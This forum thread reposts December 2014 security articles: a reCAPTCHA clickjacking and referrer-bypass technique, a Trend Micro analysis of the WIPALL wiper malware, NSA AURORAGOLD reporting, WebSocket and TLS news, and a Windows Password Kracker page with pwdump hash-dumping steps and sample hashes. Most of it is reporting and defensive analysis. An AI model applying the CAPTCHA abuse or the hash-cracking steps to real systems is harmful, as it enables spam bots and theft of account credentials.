Nytro

The No CAPTCHA problem When I read about No CAPTCHA for the first time I was really excited. Did we finally find a better solution? Hashcash? Or what? Finally it's available and the blog post disappointed me a bit. Here's Wordpress registration page successfully using No CAPTCHA. Now let's open it in incognito tab... Wait, annoying CAPTCHA again? But i'm a human! So what Google is trying to sell us as a comprehensive bot detecting algorithm is simply a whitelist based on your previous online behavior, CAPTCHAs you solved. Essentially - your cookies. Under the hood they replaced challenge/response pairs with token "g-recaptcha-response". Good guys get it "for free", bad guys still have to solve a challenge. Does it make bot's job harder? No at all. The legacy flow is still available and old OCR bots can keep recognizing. But what about new "find a similar image" challenges? Bots can't do that! As long as $1 per hour is ok for many people in 3rd world, bots won't need to solve new challenges. No matter how complex they are, bots simply need to get the JS code of challenge, show it to another human being (working for cheap or just a visitor on popular websites) and use the answer that human provided. The thing is No CAPTCHA actually introduces a new weakness! Abusing clickjacking we can make the user (a good guy) generate g-recaptcha-response for us - make a click (demo bot for wordpress). Then we can use this g-recaptcha-response to make a valid request to the victim (from our server or from user's browser). It's pretty much a serious weakness of new reCAPTCHA - instead of making everyone recognize those images we can make a bunch of good "trustworthy" users generate g-recaptcha-response-s for us. Bot's job just got easier! You're probably surprised, how can we use 3rd party data-sitekey on our website? Don't be - the Referrer-based protection was pretty easy to bypass with <meta name="referrer" content="never">. P.S. Many developers still think you need to wait a while to get a new challenge. @homakov I've used them in the past, accuracy is about 80% and response time about 10 seconds per attempt. Still too slow for some attacks. — Stephen de Vries (@stephendv) December 4, 2014 In fact you can prepare as many challenges as you want and then start spaming later. It's another reCAPTCHA weakness that will never be fixed. Author: Egor Homakov on 3:52 AM Sursa: Egor Homakov: The No CAPTCHA problem

[h=1]FFmpeg 2.5 Officially Released[/h]By Silviu Stahie The developers have added some new features A new FFmpeg version is out FFmpeg is a complete solution to record, convert, and stream audio and video and it was just upgraded to a new major version, 2.5. It comes with a lot of new features and it's pretty interesting. FFmpeg 2.5 has been dubbed "Bohr" and comes just 2.5 months after the previous release. There are not as many changes as you might think, but there are more than enough to keep users interested. "2.5 was released on 2014-12-04. It is the latest stable FFmpeg release from the 2.5 release branch, which was cut from master on 2014-12-04. Amongst lots of other changes, it includes all changes from ffmpeg-mt, libav master of 2014-12-03, libav 11 as of 2014-12-03,” reads the official announcement. Some of the updated packages in the latest FFmpeg framework include libavutil, libavcodec, libavformat, libavdevice, libavfilter, libavresample, libswscale, libswresample, and libpostproc. The devs have also said that the STL subtitle decoder is now supported, the XCB-based screen-grabber is now working properly, a SUP/PGS subtitle demuxer is now available, a number of fixes have been implemented as well. FFmpeg is the leading multimedia framework able to decode, encode, transcode, mux, demux, stream, filter, and play pretty much any media that humans and machines have created. A complete list of updates, features, and other fixes can be found in the official announcement. You can download FFmpeg 2.5 source package right now from Softpedia. Sursa: FFmpeg 2.5 Officially Released - Softpedia

GCHQ boffins quantum-busted its OWN crypto primitive 'Soliloquy' only ever talked to itself By Richard Chirgwin, 3 Dec 2014 While the application of quantum computers to cracking cryptography is still, for now, a futuristic scenario, crypto researchers are already taking that future seriously. It came as a surprise to Vulture South to find that in October of this year, researchers at GCHQ's information security arm the CESG abandoned work on a security primitive because they discovered a quantum attack against it. Presented to the ETSI here, with the full paper here, the documents outline the birth and death of a primitive the CESG called Soliloquy. Primitives are building blocks in the dizzyingly-complex business of assembling a cryptosystem: individual modules that are expected to be very well-characterised before they're accepted into security standards (and, in the case of crypto like RC4, dropped when they're no longer safe). Given that improving computer power is one of the ways a primitive can be broken, there's a constant background research effort into both creating the primitives of the future, and testing them before they're adopted – and that's where Soliloquy comes in. As the CESG paper states, Soliloquy was first proposed in 2007 as a cyclic-lattice key exchange primitive supporting between 3,000 and 10,000 bits for the public key. Between 2010 and 2013 – presumably as part of their effort to case-harden the primitive before releasing it into the wild – the boffins (Peter Campbell, Michael Groves and Dan Shepherd) developed what they call “a reasonably efficient quantum attack on the primitive”, and as a result, they cancelled the project. The quantum algorithm they describe would work by creating a quantum fingerprint of the lattice Soliloquy creates; “discreteise and bound” the control space needed; and run a quantum Fourier transform over that control space, iteratively to get lots of samples approximating the lattice. That's where the quantum attack is complete: after that, the samples would get fed into a classical lattice-based algorithm to recover the values you want – in other words, the key. The main challenge, the authors write, is to define “to define a suitable quantum fingerprinter” that could handle the control space. As the researchers drily note in their conclusion, “designing quantum-resistant cryptography is a difficult task”, and while researchers are starting to create such algorithms for deployment, “we caution that much care and patience will be required” to provide a thorough security assessment of any such protocol. ® Sursa: GCHQ boffins quantum-busted its OWN crypto primitive • The Register

An Analysis of the “Destructive” Malware Behind FBI Warnings 4:06 pm (UTC-7) | by Trend Micro TrendLabs engineers were recently able to obtain a malware sample of the “destructive malware” described in reports about the Federal Bureau of Investigation (FBI) warning to U.S. businesses last December 2. According to Reuters, the FBI issued a warning to businesses to remain vigilant against this new “destructive” malware in the wake of the recent Sony Pictures attack. As of this writing, the link between the Sony breach and the malware mentioned by the FBI has yet to be verified. The FBI flash memo titled “#A-000044-mw” describes an overview of the malware behavior, which reportedly has the capability to override all data on hard drives of computers, including the master boot record, which prevents them from booting up. Below is an analysis of our own findings: Analysis of the BKDR_WIPALL Malware Our detection for the malware detailed in the FBI report is BKDR_WIPALL. Below is a quick overview of the infection chain for this attack. The main installer here is diskpartmg16.exe (detected as BKDR_WIPALL.A). BKDR_WIPALL.A’s overlay is encrypted with a set of user names and passwords as seen in the screenshot below: Figure 1. BKDR_WIPALL.A’s overlay contains encrypted user names and passwords These user names and passwords are found to be encrypted by XOR 0x67 in the overlay of the malware sample and are then used to log into the shared network. . Once logged in, the malware attempts to grant full access to everyone that will access the system root. Figure 2. Code snippet of the malware logging into the network The dropped net_var.dat contains a list of targeted hostnames: Figure 3. Targeted host names The next related malware is igfxtrayex.exe (detected as BKDR_WIPALL., which is dropped by BKDR_WIPALL.A. It sleeps for 10 minutes (or 600,000 milliseconds as seen below) before it carries out its actual malware routines: Figure 4. BKDR_WIPALL.B (igfxtrayex.exe) sleeps for 10 minutes Figure 5. Encrypted list of usernames and passwords also present in BKDR_WIPALL.B Figure 6. Code snippet of the main routine of igfxtrayex.exe (BKDR_WIPALL. This malware’s routines, aside from deleting users’ files, include stopping the Microsoft Exchange Information Store service. After it does this, the malware sleeps for another two hours. It then forces the system to reboot. Figure 7. Code snippet of the force reboot It also executes several copies of itself named taskhost{random 2 characters}.exe with the following parameters: taskhost{random 2 characters}.exe -w – to drop and execute the component Windows\iissvr.exe taskhost{random 2 characters}.exe -m – to drop and execute Windows\Temp\usbdrv32.sys taskhost{random 2 characters}.exe -d – to delete files in all fixed or remote (network) drives Figure 8. The malware deletes all the files (format *.*) in fixed and network drives The malware components are encrypted and stored in the resource below: Figure 9. BKDR_WIPALL.B malware components Additionally, BKDR_WIPALL.B accesses the physical drive that it attempts to overwrite: Figure 10. BKDR_WIPALL.B overwrites physical drives We will be updating this post with our additional analysis of the WIPALL malware. Analysis by Rhena Inocencio and Alvin Bacani Update as of December 3, 2014, 5:30 PM PST Upon analysis of the same WIPALL malware family, its variant BKDR_WIPALL.D drops BKDR_WIPALL.C, which in turn, drops the file walls.bmp in the Windows directory. The .BMP file is as pictured below: Figure 11. Dropped wallpaper This appears to be the same wallpaper described in reports about the recent Sony hack last November 24 bearing the phrase “hacked by #GOP.” Therefore we have reason to believe that this is the same malware used in the recent attack to Sony Pictures. Note that BKDR_WIPALL.C is also the dropped named as igfxtrayex.exe in the same directory of BKDR_WIPALL.D. We will update this blog entry for more developments. Additional analysis by Joie Salvio Sursa: An Analysis of the "Destructive" Malware Behind FBI Warnings

How the NSA Hacks Cellphone Networks Worldwide By Ryan Gallagher @rj_gallagher In March 2011, two weeks before the Western intervention in Libya, a secret message was delivered to the National Security Agency. An intelligence unit within the U.S. military’s Africa Command needed help to hack into Libya’s cellphone networks and monitor text messages. For the NSA, the task was easy. The agency had already obtained technical information about the cellphone carriers’ internal systems by spying on documents sent among company employees, and these details would provide the perfect blueprint to help the military break into the networks. The NSA’s assistance in the Libya operation, however, was not an isolated case. It was part of a much larger surveillance program—global in its scope and ramifications—targeted not just at hostile countries. According to documents contained in the archive of material provided to The Intercept by whistleblower Edward Snowden, the NSA has spied on hundreds of companies and organizations internationally, including in countries closely allied to the United States, in an effort to find security weaknesses in cellphone technology that it can exploit for surveillance. The documents also reveal how the NSA plans to secretly introduce new flaws into communication systems so that they can be tapped into—a controversial tactic that security experts say could be exposing the general population to criminal hackers. Codenamed AURORAGOLD, the covert operation has monitored the content of messages sent and received by more than 1,200 email accounts associated with major cellphone network operators, intercepting confidential company planning papers that help the NSA hack into phone networks. One high-profile surveillance target is the GSM Association, an influential U.K.-headquartered trade group that works closely with large U.S.-based firms including Microsoft, Facebook, AT&T, and Cisco, and is currently being funded by the U.S. government to develop privacy-enhancing technologies. Karsten Nohl, a leading cellphone security expert and cryptographer who was consulted by The Intercept about details contained in the AURORAGOLD documents, said that the broad scope of information swept up in the operation appears aimed at ensuring virtually every cellphone network in the world is NSA accessible. The operation appears aimed at ensuring virtually every cellphone network in the world is NSA accessible. “Collecting an inventory [like this] on world networks has big ramifications,” Nohl said, because it allows the NSA to track and circumvent upgrades in encryption technology used by cellphone companies to shield calls and texts from eavesdropping. Evidence that the agency has deliberately plotted to weaken the security of communication infrastructure, he added, was particularly alarming. “Even if you love the NSA and you say you have nothing to hide, you should be against a policy that introduces security vulnerabilities,” Nohl said, “because once NSA introduces a weakness, a vulnerability, it’s not only the NSA that can exploit it.” NSA spokeswoman Vanee’ Vines told The Intercept in a statement that the agency “works to identify and report on the communications of valid foreign targets” to anticipate threats to the United States and its allies. Vines said: “NSA collects only those communications that it is authorized by law to collect in response to valid foreign intelligence and counterintelligence requirements—regardless of the technical means used by foreign targets, or the means by which those targets attempt to hide their communications.” Network coverage The AURORAGOLD operation is carried out by specialist NSA surveillance units whose existence has not been publicly disclosed: the Wireless Portfolio Management Office, which defines and carries out the NSA’s strategy for exploiting wireless communications, and the Target Technology Trends Center, which monitors the development of new communication technology to ensure that the NSA isn’t blindsided by innovations that could evade its surveillance reach. The center’s logo is a picture of the Earth overshadowed by a large telescope; its motto is “Predict – Plan – Prevent.” The NSA documents reveal that, as of May 2012, the agency had collected technical information on about 70 percent of cellphone networks worldwide—701 of an estimated 985—and was maintaining a list of 1,201 email “selectors” used to intercept internal company details from employees. (“Selector” is an agency term for a unique identifier like an email address or phone number.) From November 2011 to April 2012, between 363 and 1,354 selectors were “tasked” by the NSA for surveillance each month as part of AURORAGOLD, according to the documents. The secret operation appears to have been active since at least 2010. The information collected from the companies is passed onto NSA “signals development” teams that focus on infiltrating communication networks. It is also shared with other U.S. Intelligence Community agencies and with the NSA’s counterparts in countries that are part of the so-called “Five Eyes” surveillance alliance—the United Kingdom, Canada, Australia, and New Zealand. Aside from mentions of a handful of operators in Libya, China, and Iran, names of the targeted companies are not disclosed in the NSA’s documents. However, a top-secret world map featured in a June 2012 presentation on AURORAGOLD suggests that the NSA has some degree of “network coverage” in almost all countries on every continent, including in the United States and in closely allied countries such as the United Kingdom, Australia, New Zealand, Germany, and France. One of the prime targets monitored under the AURORAGOLD program is the London-headquartered trade group, the GSM Association, or the GSMA, which represents the interests of more than 800 major cellphone, software, and internet companies from 220 countries. The GSMA’s members include U.S.-based companies such as Verizon, AT&T, Sprint, Microsoft, Facebook, Intel, Cisco, and Oracle, as well as large international firms including Sony, Nokia, Samsung, Ericsson, and Vodafone. The trade organization brings together its members for regular meetings at which new technologies and policies are discussed among various “working groups.” The Snowden files reveal that the NSA specifically targeted the GSMA’s working groups for surveillance. Claire Cranton, a spokeswoman for the GSMA, said that the group would not respond to details uncovered by The Intercept until its lawyers had studied the documents related to the spying. “If there is something there that is illegal then they will take it up with the police,” Cranton said. By covertly monitoring GSMA working groups in a bid to identify and exploit security vulnerabilities, the NSA has placed itself into direct conflict with the mission of the National Institute for Standards and Technology, or NIST, the U.S. government agency responsible for recommending cybersecurity standards in the United States. NIST recently handed out a grant of more than $800,000 to GSMA so that the organization could research ways to address “security and privacy challenges” faced by users of mobile devices. The revelation that the trade group has been targeted for surveillance may reignite deep-seated tensions between NIST and NSA that came to the fore following earlier Snowden disclosures. Last year, NIST was forced to urge people not to use an encryption standard it had previously approved after it emerged NSA had apparently covertly worked to deliberately weaken it. Jennifer Huergo, a NIST spokewoman, told The Intercept that the agency was “not aware of any activities by NSA related to the GSMA.” Huergo said that NIST would continue to work towards “bringing industry together with privacy and consumer advocates to jointly create a robust marketplace of more secure, easy-to-use, privacy-enhancing solutions.” GSMA headquarters in London (left) Encryption attack The NSA focuses on intercepting obscure but important technical documents circulated among the GSMA’s members known as “IR.21s.” Most cellphone network operators share IR.21 documents among each other as part of agreements that allow their customers to connect to foreign networks when they are “roaming” overseas on a vacation or a business trip. An IR.21, according to the NSA documents, contains information “necessary for targeting and exploitation.” The details in the IR.21s serve as a “warning mechanism” that flag new technology used by network operators, the NSA’s documents state. This allows the agency to identify security vulnerabilities in the latest communication systems that can be exploited, and helps efforts to introduce new vulnerabilities “where they do not yet exist.” The IR.21s also contain details about the encryption used by cellphone companies to protect the privacy of their customers’ communications as they are transmitted across networks. These details are highly sought after by the NSA, as they can aid its efforts to crack the encryption and eavesdrop on conversations. Last year, the Washington Post reported that the NSA had already managed to break the most commonly used cellphone encryption algorithm in the world, known as A5/1. But the information collected under AURORAGOLD allows the agency to focus on circumventing newer and stronger versions of A5 cellphone encryption, such as A5/3. The documents note that the agency intercepts information from cellphone operators about “the type of A5 cipher algorithm version” they use, and monitors the development of new algorithms in order to find ways to bypass the encryption. In 2009, the British surveillance agency Government Communications Headquarters conducted a similar effort to subvert phone encryption under a project called OPULENT PUP, using powerful computers to perform a “crypt attack” to penetrate the A5/3 algorithm, secret memos reveal. By 2011, GCHQ was collaborating with the NSA on another operation, called WOLFRAMITE, to attack A5/3 encryption. (GCHQ declined to comment for this story, other than to say that it operates within legal parameters.) The extensive attempts to attack cellphone encryption have been replicated across the Five Eyes surveillance alliance. Australia’s top spy agency, for instance, infiltrated an Indonesian cellphone company and stole nearly 1.8 million encryption keys used to protect communications, the New York Times reported in February. Click to enlarge. The NSA’s documents show that it focuses on collecting details about virtually all technical standards used by cellphone operators, and the agency’s efforts to stay ahead of the technology curve occasionally yield significant results. In early 2010, for instance, its operatives had already found ways to penetrate a variant of the newest “fourth generation” smartphone-era technology for surveillance, years before it became widely adopted by millions of people in dozens of countries. The NSA says that its efforts are targeted at terrorists, weapons proliferators, and other foreign targets, not “ordinary people.” But the methods used by the agency and its partners to gain access to cellphone communications risk significant blowback. According to Mikko Hypponen, a security expert at Finland-based F-Secure, criminal hackers and foreign government adversaries could be among the inadvertent beneficiaries of any security vulnerabilities or encryption weaknesses inserted by the NSA into communication systems using data collected by the AURORAGOLD project. “If there are vulnerabilities on those systems known to the NSA that are not being patched on purpose, it’s quite likely they are being misused by completely other kinds of attackers,” said Hypponen. “When they start to introduce new vulnerabilities, it affects everybody who uses that technology; it makes all of us less secure.” “It affects everybody who uses that technology; it makes all of us less secure.” In December, a surveillance review panel convened by President Obama concluded that the NSA should not “in any way subvert, undermine, weaken, or make vulnerable generally available commercial software.” The panel also recommended that the NSA should notify companies if it discovers previously unknown security vulnerabilities in their software or systems—known as “zero days” because developers have been given zero days to fix them—except in rare cases involving “high priority intelligence collection.” In April, White House officials confirmed that Obama had ordered NSA to disclose vulnerabilities it finds, though qualified that with a loophole allowing the flaws to be secretly exploited so long as there is deemed to be “a clear national security or law enforcement” use. Vines, the NSA spokeswoman, told The Intercept that the agency was committed to ensuring an “open, interoperable, and secure global internet.” “NSA deeply values these principles and takes great care to honor them in the performance of its lawful foreign-intelligence mission,” Vines said. She declined to discuss the tactics used as part of AURORAGOLD, or comment on whether the operation remains active. ——— Documents published with this article: AURORAGOLD – Project Overview AURORAGOLD Working Group IR.21 – A Technology Warning Mechanism AURORAGOLD – Target Technology Trends Center support to WPMO NSA First-Ever Collect of High-Interest 4G Cellular Signal AURORAGOLD Working Aid WOLFRAMITE Encryption Attack OPULENT PUP Encryption Attack NSA/GCHQ/CSEC Network Tradecraft Advancement Team ——— Photo: Cell tower: Justin Sullivan/Getty Images; GSMA headquarters: Google Maps Sursa: https://firstlook.org/theintercept/2014/12/04/nsa-auroragold-hack-cellphones/

WebSocket Security Issues Overview In this article, we will dive into the concept of WebSocket introduced in HTML 5, security issues around the WebSocket model, and the best practices that should be adopted to address security issues around WebSocket. Before going straight to security, let’s refresh our concepts on WebSocket. Why Websocket and Not HTTP? In older times, the client server model was built with client requests the server for a resource. The Web was built for this kind of model, and HTTP was sufficient to handle these requests. However, with new advancements of technologies, needs of online gaming and real time applications have marked the need of a protocol that could provide a bidirectional connection between client and server to allow live streaming. Web applications have grown up a lot, and are now consuming more data than ever before. The biggest thing holding them back was the traditional HTTP model of client initiated transactions. To overcome this, a number of different strategies were devised to allow servers to push data to the client. One of the most popular of these strategies was long-polling. This involves keeping an HTTP connection open until the server has some data to push down to the client. The problem with all of these solutions is that they carry the overhead of HTTP. Every time you make an HTTP request, a bunch of headers and cookie data are transferred to the server. Initially HTTP was thought to be modified to create a bidirectional channel between client and server, but this model could not sustain because of the HTTP overhead and would certainly introduce latency. But in real time applications, especially gaming applications, latency cannot be afforded. Because of this shortcoming of HTTP, a new protocol known as WebSocket, which runs over the same TCP/IP model, was designed. How WebSockets Work WebSockets provide a persistent connection between client and server that both parties can use to start data at any time. The connection is initiated from client through a WebSocket handshake. This happens over a normal HTTP request packet with an “Upgrade” header. A sample connection is shown below: Later, if the server supports the WebSocket connections, then the server responds with an “Upgrade” header in the response. Sample is below: After an exchange of these request and response messages, a persistent WebSocket connection is established between a client and a server. WebSockets can transfer as much data as you like without incurring the overhead associated with traditional HTTP requests. Data is transferred through a WebSocket as messages, each of which consists of one or more frames containing the data you are sending (the payload). In order to ensure the message can be properly reconstructed when it reaches the client, each frame is prefixed with 4-12 bytes of data about the payload. Using this frame-based messaging system helps to reduce the amount of non-payload data that is transferred, leading to significant reductions in latency. Note: the “Upgrade” header tells the server that the client wants to initiate a WebSocket connection. WebSocket Security Issues WebSocket has some inherent security issues. Some of them are listed below: Open to DOS attack: WebSocket allows unlimited number of connections to the target server and thus resources on the server can be exhausted because of DOS attack. The WebSocket protocol does not give any particular way to allow a server to authenticate the clients during the handshake process. WebSocket has to take forward only the mechanism available to normal HTTP connections such as cookies, HTTP authentication or TLS authentication. It has been seen that during the upgrade handshake from HTTP to WebSocket (WS), HTTP sends all the authentication information to WS. This attack has been termed as Cross Site WebSocket Hijacking (CSWSH). WebSockets can be used over unencrypted TCP channels, which can lead to major flaws such as those listed in OWASP Top 10 A6-Sensitive Data Exposure. WebSockets are vulnerable to malicious input data attacks, therefore leading to attacks like Cross Site Scripting (XSS). The WebSocket protocol implements data masking which is present to prevent proxy cache poisoning. But it has a dark side: masking inhibits security tools from identifying patterns in the traffic. Products such as Data Loss Prevention (DLP) software and firewalls are typically not aware of WebSockets, so they can’t do data analysis on WebSocket traffic, and therefore can’t identify malware, malicious JavaScript and data leakage in WebSocket traffic. The Websocket protocol doesn’t handle authorization and/or authentication. Application-level protocols should handle that separately in case sensitive data is being transferred. It’s relatively easy to tunnel arbitrary TCP services through a WebSocket, for example, tunnel a database connection directly through to the browser. This is of high risk, as it would enable access to services to an in-browser attacker in the case of a Cross Site Scripting attack, thus allowing an escalation of a XSS attack into a complete remote breach. Recommendations around WebSockets Security flaws Below are the recommendations / best practices around the security flaws listed above: The WebSocket standard defines an Origin header field which Web browsers set to the URL that originates a WebSocket request. This can be used to differentiate between WebSocket connections from different hosts, or between those made from a browser and some other kind of network client. However, the Origin header is essentially advisory: non-browser clients can easily set the Origin header to any value, and thus “pretend” to be a browser. Origin headers are roughly analogous to the X-Requested-With header used by AJAX requests. Web browsers send a header of X-Requested-With: XMLHttpRequest which can be used to distinguish between AJAX requests made by a browser and those made directly. However, this header is easily set by non-browser clients, and thus isn’t trusted as a source of authentication. Use session-individual random tokens (like CSRF-Tokens) on the handshake request and verify them on the server. Websockets must be configured to use secure TCP channel. URI with syntax wss:// illustrates the usage of secure Websocket connection. Any data from untrusted sources must not be trusted. All input must be sanitized before it goes in the execution context. You should apply equal suspicion to data returned from the server as well. Always process messages received on the client side as data. Don’t try to assign them directly to the DOM, nor evaluate as code. If the response is JSON, always use JSON.parse() to safely parse the data. Avoid tunneling if at all possible, instead developing more secured and checked protocols on top of WebSockets. References https://devcenter.heroku.com/articles/websocket-security An Introduction to WebSockets | Treehouse Blog By Lohit Mehta|December 4th, 2014 Sursa: WebSocket Security Issues - InfoSec Institute

New TLS/SSL Version Ready In 2015 Kelly Jackson Higgins One of the first steps in making encryption the norm across the Net is an update to the protocol itself and a set of best-practices for using encryption in applications.The Internet's standards body next year will release the newest version of the Transport Layer Security (TLS) protocol, which, among other things, aims to reduce the chance of implementation errors that have plagued the encryption space over the past year. The more streamlined Version 1.3 of TLS (TLS is the newest generation of its better known predecessor, SSL) trims out unnecessary features and functions that ultimately could lead to buggy code. The goal is a streamlined yet strong encryption protocol that's easier to implement and less likely to leave the door open to implementation flaws. "Having options in there that are a smoking gun and one developer gets wrong… could lead to a huge security problem," Russ Housley, chair of the Internet Architecture Board (IAB), says of the problem that TLS 1.3 aims to solve. That's the kind of scenario that led to the Heartbleed bug in the OpenSSL implementation of the encryption protocol. Heartbleed came out of an error in OpenSSL's deployment of the "heartbeat" extension in TLS. The bug, if exploited, could allow an attacker to leak the contents of the memory from the server to the client and vice versa. That could leave passwords and even the SSL server's private key potentially exposed in an attack. [The era of encrypted communications may have finally arrived. Internet Architecture Board chairman Russ Housley explains what the IAB's game-changing statement about encryption means for the future of the Net: Q&A: Internet Encryption As The New Normal.] Aside from the updated TLS protocol, the Internet Engineering Task Force (IETF), which crafts the protocols, also is looking at how to better deploy encryption in applications. The IETF's Using TLS in Applications (UTA) working group will offer best-practices for using TLS in applications, as well as guidance on how certain applications should use the encryption protocol, which also will promote interoperability among encrypted systems. Pete Resnick, the IETF's applications area director, says among the best-practices are the use of the latest crypto algorithms and avoiding the use of weak (or no) encryption, as well as eliminating the use of older TLS/SSL versions. "This will end up making things more secure in the long run by providing common guidelines across implementations," he says. UTA also is working on guidance for using TLS with the instant messaging protocol XMPP (a.k.a. Jabber) and also using TLS with email client protocols POP, IMAP, and SMTP Submission. The goal is to make encryption more interoperable among messaging servers to help propel the use of encrypted communications, according to Resnick. Kelly Jackson Higgins is Executive Editor at DarkReading.com... Sursa: New TLS/SSL Version Ready In 2015

[TABLE=align: left] [TR] [TD][TABLE=width: 100%] [TR] [TD]Windows Password Kracker is a free software to recover the lost or forgotten Windows password. It can quickly recover the original windows password from either LM (LAN Manager) or NTLM (NT LAN Manager) Hash.[/TD] [/TR] [/TABLE] [/TD] [/TR] [TR] [TD][/TD] [/TR] [TR] [TD] Windows encrypts the login password using LM or NTLM hash algorithm. Since these are one way hash algorithms we cannot directly decrypt the hash to get back the original password. In such cases 'Windows Password Kracker' can help in recovering the windows password using the simple dictionary crack method. Before that you need to dump the password hashes from live or remote windows system using pwdump tool (more details below). Then feed the hash (LM/NTLM) for the corresponding user into 'Windows Password Kracker' to recover the password for that user. In forensic scenarios, investigator can dump the hashes from the live/offline system and then crack it using 'Windows Password Kracker' to recover the original password. This is very crucial as such a password can then be used to decrypt stored credentials as well as encrypted volumes on that system. 'Windows Password Kracker' uses simple & quicker Dictionary based password recovery technique. By default it comes with sample password file. However you can find good collection of password dictionaries (also called wordlist) here & here. Though it supports only Dictionary Crack method, you can easily use tools like Crunch, Cupp to generate brute-force based or any custom password list file and then use it with 'Windows Password Kracker'. It works on both 32 bit & 64 bit windows systems starting from Windows XP to Windows 8.[/TD] [/TR] [TR] [TD][/TD] [/TR] [TR] [TD][/TD] [/TR] [TR] [TD][/TD] [/TR] [TR] [TD=class: page_subheader] Features[/TD] [/TR] [TR] [TD][/TD] [/TR] [TR] [TD] Free tool to quickly recover the Windows login password. Supports Windows password recovery from both LM & NTLM Hash. Uses simple dictionary crack method. Displays detailed statistics during Cracking operation Stop the password cracking operation any time. Very easy to use with cool GUI interface. Generate Windows Password Recovery report in HTML/XML/TEXT format. Includes Installer for local Installation & Uninstallation. [/TD] [/TR] [TR] [TD][/TD] [/TR] [TR] [TD][/TD] [/TR] [TR] [TD=class: page_subheader]Installation & Un-installation[/TD] [/TR] [TR] [TD][/TD] [/TR] [TR] [TD]Windows Password Kracker comes with Installer to help in local installation & un-installation. This installer has intuitive wizard which guides you through series of steps in completion of installation.[/TD] [/TR] [TR] [TD][/TD] [/TR] [TR] [TD]At any point of time, you can uninstall the product using the Uninstaller located at following location (by default)[/TD] [/TR] [TR] [TD][/TD] [/TR] [TR] [TD=class: page_code][Windows 32 bit] C:\Program Files\SecurityXploded\WindowsPasswordKracker [Windows 64 bit] C:\Program Files (x86)\SecurityXploded\WindowsPasswordKracker[/TD] [/TR] [TR] [TD][/TD] [/TR] [TR] [TD][/TD] [/TR] [TR] [TD][/TD] [/TR] [TR] [TD=class: page_subheader] How to Dump LM/NTLM Hash & Crack it?[/TD] [/TR] [TR] [TD][/TD] [/TR] [TR] [TD] 'Windows Password Kracker' is very easy to use tool for any generation of users. Here are simple steps[/TD] [/TR] [TR] [TD] Install 'Windows Password Kracker' on any system (preferably faster high end systems). Use pwdump tool ( ) to recover the password hashes from live or offline windows system. Sample output will be as shown below [/TD] [/TR] [TR] [TD=class: page_code] Administrator:500:D702A1D01B6BC2418112333D93DFBB4C:C8DBB1CFF1970C9E3EC44EBE2BA7CCBC::: ASPNET:1001:359E64F7361B678C283B72844ABF5707:49B784EF1E7AE06953E7A4D37A3E9529::: Guest:501:NO PASSWORD*********************:NO PASSWORD*********************::: Test:1002:D702A1D01B6BC2418112333D93DFBB4C:C8DBB1CFF1970C9E3EC44EBE2BA7CCBC:::[/TD] [/TR] [TR] [TD][/TD] [/TR] [TR] [TD] Each dumped user account is in following format[/TD] [/TR] [TR] [TD=class: page_code] Username : User ID : LM hash : NTLM Hash :::[/TD] [/TR] [TR] [TD][/TD] [/TR] [TR] [TD]On newer operating systems (such as vista, win7 etc) LM hash will be absent as it is disabled by default.[/TD] [/TR] [TR] [TD] Once you get the password hash, you can copy either LM (preferred) or NTLM hash onto 'Windows Password Kracker'. Then select the type of hash as LM or NTLM from the drop down box. Next select the password dictionary file by clicking on Browse button or simply drag & drop it. You can find a sample dictionary file in the installed location. Finally click on 'Start Crack' to start the Windows Password recovery. During the operation, you will see all statistics being displayed on the screen. Message box will be displayed on success. At the end, you can generate detailed report in HTML/XML/Text format by clicking on 'Report' button and then select the type of file from the drop down box of 'Save File Dialog'. [/TD] [/TR] [TR] [TD][/TD] [/TR] [TR] [TD][/TD] [/TR] [TR] [TD=class: page_subheader]Screenshots[/TD] [/TR] [TR] [TD=align: center][/TD] [/TR] [TR] [TD]Screenshot 1: Windows Password Kracker is showing the recovered Password from NTLM hash.[/TD] [/TR] [TR] [TD][/TD] [/TR] [TR] [TD=align: center] [/TD] [/TR] [TR] [TD][/TD] [/TR] [TR] [TD][/TD] [/TR] [TR] [TD]Screenshot 2: Detailed Windows Password Recovery report generated by Windows Password Kracker[/TD] [/TR] [TR] [TD][/TD] [/TR] [TR] [TD=align: center] [/TD] [/TR] [TR] [TD][/TD] [/TR] [TR] [TD][/TD] [/TR] [TR] [TD][/TD] [/TR] [TR] [TD=class: page_subheader] Test Results[/TD] [/TR] [TR] [TD][/TD] [/TR] [TR] [TD] WindowsPasswordKracker is successfully tested on Windows XP to latest operating system, Windows 8. It can recover the hash password successfully for LM /NTLM hash value.[/TD] [/TR] [TR] [TD][/TD] [/TR] [TR] [TD][/TD] [/TR] [TR] [TD][/TD] [/TR] [TR] [TD=class: page_subheader] Disclaimer[/TD] [/TR] [TR] [TD][/TD] [/TR] [TR] [TD] 'Windows Password Kracker' is designed with good intention to recover the Lost Windows Password. Like any other tool its use either good or bad, depends upon the user who uses it. However neither author nor SecurityXploded is in anyway responsible for damages or impact caused due to misuse of WindowsPasswordKracker. Read our complete 'License & Disclaimer' policy here.[/TD] [/TR] [TR] [TD][/TD] [/TR] [TR] [TD][/TD] [/TR] [TR] [TD][/TD] [/TR] [TR] [TD=class: page_subheader] Release History[/TD] [/TR] [TR] [TD][/TD] [/TR] [TR] [TD] [TABLE=width: 90%, align: center] [TR] [TD=class: page_sub_subheader]Version 2.6: 3rd Dec 2014[/TD] [/TR] [TR] [TD]Removed false positive with various Antivirus solutions[/TD] [/TR] [TR] [TD][/TD] [/TR] [TR] [TD=class: page_sub_subheader]Version 2.5: 31st Mar 2014[/TD] [/TR] [TR] [TD]Improved GUI interface with magnifying icon effects and about dialog changes.[/TD] [/TR] [TR] [TD][/TD] [/TR] [TR] [TD=class: page_sub_subheader]Version 2.0: 21st Feb 2013[/TD] [/TR] [TR] [TD]Quick help link on dumping LM/NTLM hash from system and cracking it. Fix for screen refresh problem and few UI improvements.[/TD] [/TR] [TR] [TD][/TD] [/TR] [TR] [TD=class: page_sub_subheader]Version 1.5: 28th Oct 2012[/TD] [/TR] [TR] [TD]Added support to automatically remember and restore user settings.[/TD] [/TR] [TR] [TD][/TD] [/TR] [TR] [TD=class: page_sub_subheader]Version 1.0: 3rd Aug 2012[/TD] [/TR] [TR] [TD]First public release of Windows Password Kracker.[/TD] [/TR] [TR] [TD][/TD] [/TR] [/TABLE] [/TD] [/TR] [TR] [TD][/TD] [/TR] [TR] [TD][/TD] [/TR] [TR] [TD=class: page_subheader] Download[/TD] [/TR] [TR] [TD][/TD] [/TR] [TR] [TD] [TABLE=width: 95%, align: center] [TR] [TD] FREE Download Windows Password Kracker v2.6 License : Freeware Platform : Windows XP, 2003, Vista, Windows 7, Windows 8 Download [/TD] [/TR] [/TABLE] 